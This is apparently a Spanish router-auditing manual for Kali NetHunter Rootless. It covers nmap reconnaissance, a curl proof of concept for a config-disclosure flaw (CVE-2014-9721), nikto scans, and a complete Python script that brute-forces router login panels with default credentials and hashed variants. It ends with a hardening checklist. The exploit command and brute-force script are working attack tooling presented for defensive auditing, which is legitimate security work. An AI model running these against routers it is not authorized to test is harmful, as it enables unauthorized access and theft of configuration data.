Manual de Auditoría de Routers Domésticos (Entorno Kali NetHunter Rootless)

Autor: Sammi De Blas - SysAdmin & Cybersecurity Specialist Fecha: Diciembre 2025 Objetivo: Evaluar la seguridad de dispositivos de red (CPE) desde un dispositivo móvil Android sin acceso Root completo.

1. Preparación del Entorno (Troubleshooting Inicial)

En entornos NetHunter Rootless, no tenemos acceso directo al Kernel de Android ni a “Raw Sockets”. Esto cambia las reglas del juego.

1.1. Diagnóstico de Conectividad

Si ping funciona a IP (8.8.8.8) pero falla apt update, es un problema de DNS o permisos de Android.

*Solución DNS:* Bash
echo “nameserver 8.8.8.8” > /etc/resolv.conf

*Solución Permisos (Usuario _apt):* Bash
usermod -a -G aid_inet,aid_net_raw _apt

1.2. Herramientas Necesarias

Instalar suite moderna (iproute2) y diccionarios básicos.

Bash

comando:: sudo apt update

comando:: sudo apt install iproute2 net-tools python3-requests nmap nikto hydra

2. Fase de Descubrimiento (Reconnaissance)

Limitación Técnica: En Rootless, el escaneo SYN (-sS) y la detección de OS (-O) fallan por falta de permisos. Debemos usar TCP Connect Scan.

2.1. Escaneo de Puertos “Sigiloso” (User-Space)

Usamos -Pn para evitar el ping ICMP (que requiere root) y -sT para usar conexiones completas del sistema operativo.

Comando:

Bash

comando:: nmap -Pn -sT —top-ports 100 —open -vvv [IP_ROUTER]

(Ejemplo IP: 192.168.1.1)

2.2. Identificación de Servicios (Banner Grabbing)

Una vez detectados puertos abiertos (ej: 80, 443), interrogamos la versión del software.

Comando:

Bash

comando:: nmap -Pn -sT -sV —version-intensity 5 -p 80,443 [IP_ROUTER]

Qué buscar en la salida:

  • Nombre del servidor (Ej: ZTE web server, RomPager, MicroHttpd).

  • Año del Copyright (Ej: 2015 indica software obsoleto).

3. Análisis de Vulnerabilidades

3.1. Búsqueda en Bases de Datos

Con la versión del servidor, buscamos exploits conocidos.

Bash

searchsploit ZTE F660

searchsploit [MARCA_DETECTADA]

3.2. Verificación de CVE-2014-9721 (Config Disclosure)

Común en routers antiguos. Intenta descargar config.bin sin autenticación. Prueba de Concepto (PoC):

Bash

curl -v -X POST -d “config=” “http://[IP_ROUTER]/getpage.gch?pid=101&nextpage=manager_dev_config_t.gch” -o config.bin

  • Éxito: Archivo de >20KB.

  • Fallo: Error 404 o archivo de <1KB.

3.3. Escaneo Web General (Nikto)

Busca archivos por defecto y configuraciones inseguras.

Bash

nikto -h http://[IP_ROUTER] -Tuning 9

4. Fase de Explotación (Acceso al Panel)

Si no hay vulnerabilidades críticas, atacamos la autenticación.

4.1. Análisis del Formulario de Login

Usar curl para identificar los nombres de los campos (name=“Username”, name=“Frm_Password”).

Bash

curl -s http://[IP_ROUTER] | grep -i “<input”

4.2. Evasión de Criptografía Client-Side

La mayoría de routers modernos usan JavaScript para hashear la contraseña antes de enviarla. Herramientas como Hydra fallarán.

Script Python Personalizado (Multi-Algoritmo): Este script prueba texto plano, MD5 y SHA256 automáticamente, gestionando Cookies y Tokens CSRF.

(Guardar como audit_router.py)

Python

import requests

import re

import sys

import hashlib

# --- CONFIGURACIÓN ---

TARGET_URL = “http://192.168.1.1\” # CAMBIAR IP SI ES NECESARIO

USERS = [“admin”, “user”, “expert”, “root”]

PASSWORDS = [“admin”, “1234”, “123456”, “admin123”, “gpon”, “user”, “vodafone”, “jazztel”]

# Añadir aquí la clave de la pegatina si se conoce

def get_page_data(session):

try:

r = session.get(TARGET_URL, timeout=5)

token_match = re.search(r’id=“_sessionTOKEN” value=”(.*?)”’, r.text)

return token_match.group(1) if token_match else ""

except: return None

def brute_force():

print(f”[*] Auditando {TARGET_URL}…”)

for user in USERS:

for password in PASSWORDS:

s = requests.Session()

token = get_page_data(s)

if token is None: return

# Generar variantes de Hash

attempts = [

password, # Plano

hashlib.sha256(password.encode()).hexdigest(), # SHA256

hashlib.md5(password.encode()).hexdigest() # MD5

]

for payload_pass in attempts:

data = {

‘Frm_Username’: user, # Ajustar según ‘grep’

‘Frm_Password’: payload_pass, # Ajustar según ‘grep’

‘_sessionTOKEN’: token,

‘LoginId’: ‘Iniciar sesión’

}

try:

r = s.post(TARGET_URL, data=data, allow_redirects=False)

if r.status_code == 302 or “Location” in r.headers or “Frm_Username” not in r.text:

print(f”\n[!!!] ACCESO CONSEGUIDO User: {user} | Pass: {password}”)

return

except: pass

sys.stdout.write(”.”)

sys.stdout.flush()

print(“\n[*] Auditoría finalizada.”)

if __name__ == “__main__”:

brute_force()

5. Auditoría de Seguridad Física y Post-Explotación

5.1. La Prueba de la Pegatina

Siempre verificar la etiqueta inferior.

  • Si la clave de la etiqueta funciona Riesgo Medio (Acceso físico compromete la red).

  • Si la clave de la etiqueta es la misma que la del Wi-Fi Riesgo Crítico (Cualquiera con el Wi-Fi entra al router).

5.2. Checklist de Configuración (Una vez dentro)

Revisar estos puntos para asegurar el router:

  1. [ ] UPnP: Debe estar DESACTIVADO. (Permite abrir puertos sin autenticación).

  2. [ ] DMZ: Debe estar VACÍO. (Expone un equipo a todo internet).

  3. [ ] Remote Management (WAN): Debe estar DESACTIVADO. (Nadie debe poder entrar desde fuera de casa).

  4. [ ] WPS: Debe estar DESACTIVADO. (Vulnerable a ataques Pixie Dust/Fuerza Bruta).

  5. [ ] Logs: Verificar si el router registra los intentos de acceso fallidos.

Notas Finales para Kali NetHunter Rootless

  • No Wi-Fi Hacking: No intentar airmon-ng o captura de Handshakes (requiere Root/Kernel Mode).

  • No ARP Spoofing: No intentar MITM a nivel 2.

  • Enfoque: La auditoría debe centrarse en la Capa de Aplicación (Web/HTTP) y configuración del dispositivo.